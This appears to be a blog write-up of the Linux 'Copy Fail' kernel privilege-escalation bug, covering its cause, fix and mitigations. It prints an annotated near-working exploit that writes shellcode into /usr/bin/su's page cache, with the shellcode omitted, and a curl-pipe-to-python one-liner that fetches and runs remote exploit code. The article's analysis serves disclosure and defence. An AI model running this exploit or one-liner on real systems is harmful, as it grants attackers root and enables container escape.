Tools: Copy Fail (CVE-2026-31431)

Tools: Copy Fail (CVE-2026-31431)

TL;DR for the Busy Reader

Background: What Is AF_ALG?

The Bug: Three Things That Should Never Have Met

1. The authencesn Scratch Write

2. The 2017 "In-Place" Optimization

3. splice() Delivering Page Cache Pages

The Exploit

Why This Is a Nightmare for Detection

Nothing changes on disk

Syscalls look normal

No persistence needed

Affected Systems

Cross-Container Escape

How It Was Found: AI Did It in an Hour

The Fix

What You Should Do Right Now

1. Patch immediately

2. Disable algif_aead as a stopgap

3. Block AF_ALG in containers

4. Add runtime detection

Comparison to Dirty COW and Dirty Pipe

Final Thoughts A critical kernel privilege escalation that leaves no trace on disk — and how it works It started with a blog post. On April 29, 2026, Theori's research platform Xint Code quietly dropped a URL: copy.fail. Within hours, security teams across the industry were scrambling. A 732-byte Python script — shorter than most .gitignore files — was rooting every major Linux distribution in existence. No race conditions. No kernel symbols. No ASLR bypass. Just a logic bug hiding in the Linux kernel since 2017, waiting to be found. CVE-2026-31431, nicknamed Copy Fail, is a local privilege escalation (LPE) in the Linux kernel's AF_ALG crypto subsystem. An unprivileged user can: Linux exposes its kernel crypto engine to userspace through a socket interface called AF_ALG (Address Family - Algorithm), introduced in 2015. Think of it as /dev/crypto but via standard socket syscalls. Any unprivileged process can: This is used by OpenSSL's afalg engine, among others, for hardware-accelerated crypto. It's enabled by default in virtually every Linux distribution. The algif_aead module specifically handles AEAD (Authenticated Encryption with Associated Data) — algorithms like AES-GCM that encrypt and authenticate data simultaneously. Copy Fail is the result of three independent design decisions colliding catastrophically. authencesn is an AEAD algorithm used for IPsec with Extended Sequence Numbers. During decryption, it performs a deliberate 4-byte write past the end of the plaintext output as scratch space: In normal use, this is harmless — the overrun lands in allocated memory. But combine it with the next two factors... In 2017, commit 72548b093ee3 introduced an optimization to algif_aead: instead of copying data out-of-place, the kernel reuses the source scatterlist as the destination: This saved a memory copy. It also accidentally made "writable" a set of pages that should have been read-only. When you splice() a file into an AF_ALG socket, the kernel doesn't copy the data. It hands over direct references to the file's page cache. Those exact pages end up in the AEAD scatterlist. A 4-byte arbitrary write into the page cache of any readable file. That's the primitive. The public PoC is a single Python script hosted at the disclosure site. The one-liner that's been circulating: Here's what it does under the hood (simplified and annotated): The loop runs a handful of times, each call writing 4 bytes of shellcode into /usr/bin/su's page cache at increasing offsets. When su is finally executed, the kernel loads it from the (now corrupted) page cache — running attacker shellcode with setuid root privileges. The HMAC always fails. The recv() always returns an error. The exploit looks like a broken crypto operation. The write has already happened. This is where Copy Fail separates itself from predecessors like Dirty COW and Dirty Pipe. The page cache is the kernel's in-memory representation of files. When it's modified, the on-disk file is not. The kernel would need to mark the page dirty and flush it to disk for that to happen — and it never does here. Tools like AIDE, Tripwire, or any checksum-based file integrity monitor will report zero anomalies. The exploit uses only standard interfaces: The corruption exists only in memory. After a reboot, /usr/bin/su is clean again. An attacker who successfully escalates can then establish persistence through legitimate root-level mechanisms. Forensics after the fact finds nothing in the binary. If your kernel is between 4.14 and 7.x (including current LTS branches) and hasn't received the April/May 2026 patches, you're vulnerable. That covers: The page cache is shared across the entire host kernel. A container doesn't get its own page cache — it shares the host's. This means a malicious container with access to AF_ALG can corrupt the host's page cache of a setuid binary. If the host has /usr/bin/su mapped and a container can reach AF_ALG (the default in many Kubernetes setups), the container can escape to root on the host. This elevates Copy Fail from a local LPE to a container escape in multi-tenant environments. Perhaps the most unsettling part of the Copy Fail story isn't the bug itself — it's that an AI found it. Theori's Xint Code platform scanned the Linux crypto subsystem for user-reachable logic flaws. In approximately one hour, it identified the exact chain: authencesn + splice() + in-place AEAD = page cache corruption. The flaw had existed, undetected, for nine years. This has serious implications. The attack surface of the Linux kernel is enormous. AI-assisted analysis can now traverse it at scale, modeling data flows through kernel subsystems that would take human researchers weeks to manually trace. Copy Fail is likely not the last bug of this class to be found this way. The patch is elegant in its simplicity. The upstream fix (commit a664bf3d603d) reverts the 2017 in-place optimization: As the GitHub Advisory puts it: "There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings." The optimization saved a copy but introduced a 9-year-old footgun. Verify your distro's security advisory for the specific patched kernel version. If you can't reboot immediately: Impact is minimal — almost no production software uses AF_ALG AEAD directly. SSH, LUKS, and OpenSSL use the kernel crypto API directly, not through AF_ALG. For Kubernetes and Docker environments, add a seccomp profile that blocks socket(AF_ALG, ...). This is your most important short-term mitigation if you run multi-tenant workloads. (Block socket() calls where the first argument is 38 / AF_ALG.) Falco and other eBPF-based runtime security tools have published rules to detect AF_ALG + splice combinations that match the Copy Fail pattern. Deploy them now, even on patched systems, as a defense-in-depth measure. Copy Fail is the most operationally dangerous of the three. No race to win, no offsets to calculate, no distribution-specific assumptions. It just works. Copy Fail is a reminder that the Linux kernel is an enormous, complex codebase where subtle interactions between subsystems can hide for nearly a decade. A 2017 optimization that made perfect sense in isolation — reuse the scatterlist, save a copy — quietly became a critical security flaw when combined with a niche AEAD algorithm and a zero-copy syscall. The fact that an AI found it in an hour is both impressive and sobering. If AI can find this, it can find others. The attack surface scanning that used to take months of expert human analysis is becoming automated. Patch your kernels. Disable algif_aead if you can't. And assume there are more of these waiting. CVE-2026-31431 was responsibly disclosed by Theori's Xint Code platform on April 29, 2026. Patches are available for all major Linux distributions as of May 2026. The vulnerability affects Linux kernels from 4.14 onward. Apply updates immediately. Templates let you quickly answer FAQs or store snippets for re-use. Hide child comments as well For further actions, you may consider blocking this person and/or reporting abuse

Code Block

Copy

int sock = socket(AF_ALG, SOCK_SEQPACKET, 0); bind(sock, (struct sockaddr *)&addr, sizeof(addr)); // ... perform AES, HMAC, AEAD operations in kernel space int sock = socket(AF_ALG, SOCK_SEQPACKET, 0); bind(sock, (struct sockaddr *)&addr, sizeof(addr)); // ... perform AES, HMAC, AEAD operations in kernel space int sock = socket(AF_ALG, SOCK_SEQPACKET, 0); bind(sock, (struct sockaddr *)&addr, sizeof(addr)); // ... perform AES, HMAC, AEAD operations in kernel space // In crypto_authenc_esn_decrypt(): scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // ^^^^^^^^^^^^^^^^^^^ // This is AFTER the output buffer ends // In crypto_authenc_esn_decrypt(): scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // ^^^^^^^^^^^^^^^^^^^ // This is AFTER the output buffer ends // In crypto_authenc_esn_decrypt(): scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // ^^^^^^^^^^^^^^^^^^^ // This is AFTER the output buffer ends // Simplified from algif_aead.c (pre-fix): sg_chain(&out_sg, tfr_sg); // chain tag pages INTO output scatterlist req->src = req->dst; // source = destination (in-place!) // Simplified from algif_aead.c (pre-fix): sg_chain(&out_sg, tfr_sg); // chain tag pages INTO output scatterlist req->src = req->dst; // source = destination (in-place!) // Simplified from algif_aead.c (pre-fix): sg_chain(&out_sg, tfr_sg); // chain tag pages INTO output scatterlist req->src = req->dst; // source = destination (in-place!) splice(/usr/bin/su) → AF_ALG socket → page cache pages enter AEAD scatterlist → in-place optimization chains them into the "writable" output list → authencesn writes 4 bytes past the output boundary → those 4 bytes land in /usr/bin/su's in-memory page cache splice(/usr/bin/su) → AF_ALG socket → page cache pages enter AEAD scatterlist → in-place optimization chains them into the "writable" output list → authencesn writes 4 bytes past the output boundary → those 4 bytes land in /usr/bin/su's in-memory page cache splice(/usr/bin/su) → AF_ALG socket → page cache pages enter AEAD scatterlist → in-place optimization chains them into the "writable" output list → authencesn writes 4 bytes past the output boundary → those 4 bytes land in /usr/bin/su's in-memory page cache curl https://copy.fail/exp | python3 curl https://copy.fail/exp | python3 curl https://copy.fail/exp | python3 import os, zlib, socket def write_4_bytes(file_fd, offset, payload_chunk): # Step 1: Open AF_ALG socket bound to the vulnerable algorithm sock = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) # Step 2: Configure with a dummy key — no privileges needed SOL_ALG = 279 sock.setsockopt(SOL_ALG, 1, bytes.fromhex('0800010000000010' + '0'*64)) sock.setsockopt(SOL_ALG, 5, None, 4) req_sock, _ = sock.accept() # Step 3: Send AAD containing our 4-byte payload # authencesn will later write bytes 4-7 of AAD as its "scratch" req_sock.sendmsg( [b"A"*4 + payload_chunk], # AAD: 4 filler bytes + our payload [(SOL_ALG, 3, b'\x00'*4), (SOL_ALG, 2, b'\x10' + b'\x00'*19), (SOL_ALG, 4, b'\x08' + b'\x00'*3)], 32768 ) # Step 4: Splice target file's page cache into the socket pipe_r, pipe_w = os.pipe() os.splice(file_fd, pipe_w, offset + 4, offset_src=0) # file → pipe os.splice(pipe_r, req_sock.fileno(), offset + 4) # pipe → AF_ALG # Step 5: Trigger the decrypt — error is expected, write already happened try: req_sock.recv(8 + offset) except: pass # HMAC will fail, that's fine — the write already occurred req_sock.close() # Open the target setuid binary target = os.open("/usr/bin/su", 0) # Decompress shellcode and write it 4 bytes at a time into the page cache shellcode = zlib.decompress(bytes.fromhex( "78da..." # compressed shellcode blob )) for i in range(0, len(shellcode), 4): write_4_bytes(target, i, shellcode[i:i+4]) # Execute the now-corrupted binary — it runs our shellcode as root os.system("su") import os, zlib, socket def write_4_bytes(file_fd, offset, payload_chunk): # Step 1: Open AF_ALG socket bound to the vulnerable algorithm sock = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) # Step 2: Configure with a dummy key — no privileges needed SOL_ALG = 279 sock.setsockopt(SOL_ALG, 1, bytes.fromhex('0800010000000010' + '0'*64)) sock.setsockopt(SOL_ALG, 5, None, 4) req_sock, _ = sock.accept() # Step 3: Send AAD containing our 4-byte payload # authencesn will later write bytes 4-7 of AAD as its "scratch" req_sock.sendmsg( [b"A"*4 + payload_chunk], # AAD: 4 filler bytes + our payload [(SOL_ALG, 3, b'\x00'*4), (SOL_ALG, 2, b'\x10' + b'\x00'*19), (SOL_ALG, 4, b'\x08' + b'\x00'*3)], 32768 ) # Step 4: Splice target file's page cache into the socket pipe_r, pipe_w = os.pipe() os.splice(file_fd, pipe_w, offset + 4, offset_src=0) # file → pipe os.splice(pipe_r, req_sock.fileno(), offset + 4) # pipe → AF_ALG # Step 5: Trigger the decrypt — error is expected, write already happened try: req_sock.recv(8 + offset) except: pass # HMAC will fail, that's fine — the write already occurred req_sock.close() # Open the target setuid binary target = os.open("/usr/bin/su", 0) # Decompress shellcode and write it 4 bytes at a time into the page cache shellcode = zlib.decompress(bytes.fromhex( "78da..." # compressed shellcode blob )) for i in range(0, len(shellcode), 4): write_4_bytes(target, i, shellcode[i:i+4]) # Execute the now-corrupted binary — it runs our shellcode as root os.system("su") import os, zlib, socket def write_4_bytes(file_fd, offset, payload_chunk): # Step 1: Open AF_ALG socket bound to the vulnerable algorithm sock = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) # Step 2: Configure with a dummy key — no privileges needed SOL_ALG = 279 sock.setsockopt(SOL_ALG, 1, bytes.fromhex('0800010000000010' + '0'*64)) sock.setsockopt(SOL_ALG, 5, None, 4) req_sock, _ = sock.accept() # Step 3: Send AAD containing our 4-byte payload # authencesn will later write bytes 4-7 of AAD as its "scratch" req_sock.sendmsg( [b"A"*4 + payload_chunk], # AAD: 4 filler bytes + our payload [(SOL_ALG, 3, b'\x00'*4), (SOL_ALG, 2, b'\x10' + b'\x00'*19), (SOL_ALG, 4, b'\x08' + b'\x00'*3)], 32768 ) # Step 4: Splice target file's page cache into the socket pipe_r, pipe_w = os.pipe() os.splice(file_fd, pipe_w, offset + 4, offset_src=0) # file → pipe os.splice(pipe_r, req_sock.fileno(), offset + 4) # pipe → AF_ALG # Step 5: Trigger the decrypt — error is expected, write already happened try: req_sock.recv(8 + offset) except: pass # HMAC will fail, that's fine — the write already occurred req_sock.close() # Open the target setuid binary target = os.open("/usr/bin/su", 0) # Decompress shellcode and write it 4 bytes at a time into the page cache shellcode = zlib.decompress(bytes.fromhex( "78da..." # compressed shellcode blob )) for i in range(0, len(shellcode), 4): write_4_bytes(target, i, shellcode[i:i+4]) # Execute the now-corrupted binary — it runs our shellcode as root os.system("su") /usr/bin/su on disk: [original, unmodified] /usr/bin/su in memory: [shellcode injected here] ← this is what execve() uses /usr/bin/su on disk: [original, unmodified] /usr/bin/su in memory: [shellcode injected here] ← this is what execve() uses /usr/bin/su on disk: [original, unmodified] /usr/bin/su in memory: [shellcode injected here] ← this is what execve() uses --- a/crypto/algif_aead.c +++ b/crypto/algif_aead.c - sg_chain(&out_sg, tfr_sg); // chain tag pages into output list - req->src = req->dst; // source = destination (in-place) + // Operate out-of-place — page cache pages stay in the source list only --- a/crypto/algif_aead.c +++ b/crypto/algif_aead.c - sg_chain(&out_sg, tfr_sg); // chain tag pages into output list - req->src = req->dst; // source = destination (in-place) + // Operate out-of-place — page cache pages stay in the source list only --- a/crypto/algif_aead.c +++ b/crypto/algif_aead.c - sg_chain(&out_sg, tfr_sg); // chain tag pages into output list - req->src = req->dst; // source = destination (in-place) + // Operate out-of-place — page cache pages stay in the source list only # Ubuntu / Debian sudo apt update && sudo apt upgrade linux-image-$(uname -r) sudo reboot # RHEL / CentOS sudo dnf update kernel sudo reboot # Check your kernel version after reboot uname -r # Ubuntu / Debian sudo apt update && sudo apt upgrade linux-image-$(uname -r) sudo reboot # RHEL / CentOS sudo dnf update kernel sudo reboot # Check your kernel version after reboot uname -r # Ubuntu / Debian sudo apt update && sudo apt upgrade linux-image-$(uname -r) sudo reboot # RHEL / CentOS sudo dnf update kernel sudo reboot # Check your kernel version after reboot uname -r # Block the module from loading echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf # Unload it if currently loaded sudo rmmod algif_aead 2>/dev/null || true # Block the module from loading echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf # Unload it if currently loaded sudo rmmod algif_aead 2>/dev/null || true # Block the module from loading echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf # Unload it if currently loaded sudo rmmod algif_aead 2>/dev/null || true { "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ALLOW", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_NE" }] }] } { "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ALLOW", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_NE" }] }] } { "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ALLOW", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_NE" }] }] } - Open a crypto socket (zero privileges required) - Splice pages from /usr/bin/su into it - Trigger a 4-byte write into the in-memory page cache of that binary - Run su — now running attacker shellcode — and get a root shell The file on disk is never touched. No checksums fail. No integrity monitors fire. The exploit is fully deterministic and works across kernels 4.14 through 7.x. - socket() — everyone uses sockets - sendmsg() — normal socket operation - splice() — common in high-performance I/O - recv() — returns an error, but errors happen There are no unusual privilege escalation calls, no /proc/*/mem writes, no ptrace, no /dev/mem access. Standard audit logs won't surface anything suspicious. - Ubuntu 18.04 LTS through 24.04 - Red Hat Enterprise Linux 7, 8, 9 - Debian Buster, Bullseye, Bookworm - SUSE Linux Enterprise 15 - Amazon Linux 2 and 2023 - Fedora 38, 39, 40 - Pretty much everything else The one saving grace: the attacker needs local access first. This isn't remotely exploitable on its own. However, in environments with multi-tenant systems, shared CI/CD runners, or Kubernetes clusters, "local" is a low bar.